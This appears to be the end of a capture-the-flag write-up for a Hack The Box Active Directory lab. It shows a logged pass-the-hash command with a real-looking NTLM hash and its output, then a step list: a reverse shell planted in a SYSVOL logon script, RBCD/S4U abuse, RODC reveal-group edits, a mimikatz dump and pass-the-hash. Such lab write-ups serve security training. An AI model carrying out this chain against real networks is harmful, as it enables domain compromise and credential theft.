[Aug 24, 2026 - 05:16:19 (CET)] exegol-htb garfield # nxc smb dc01.garfield.htb -u administrator -H ee238f6debc752010428f20875b092d5
SMB         10.129.106.96   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.106.96   445    DC01             [+] garfield.htb\administrator:ee238f6debc752010428f20875b092d5 (admin)
The (admin) marker on DC01 confirms full domain compromise. From here we can grab root.txt and dump the rest of the domain (e.g. secretsdump/DCSync) with the Administrator hash.
  1. Recon: assume-breach j.arbuckle → SYSVOL logon script (printerDetect.bat) + WRITE on scriptPath of l.wilson / l.wilson_adm.
  2. Foothold: overwrite the SYSVOL script with a reverse shell, set l.wilson's scriptPath → shell as l.wilson.
  3. User: l.wilson resets l.wilson_adm's password (Set-ADAccountPassword -Reset) → RODC administrator + user flag.
  4. Root: pivot to internal RODC01 (chisel) → RBCD + S4U → SYSTEM on RODC → edit msDS-NeverRevealGroup/msDS-RevealOnDemandGroup → force Administrator hash caching → dump with mimikatz → PtH as Administrator on DC01.
§ Contents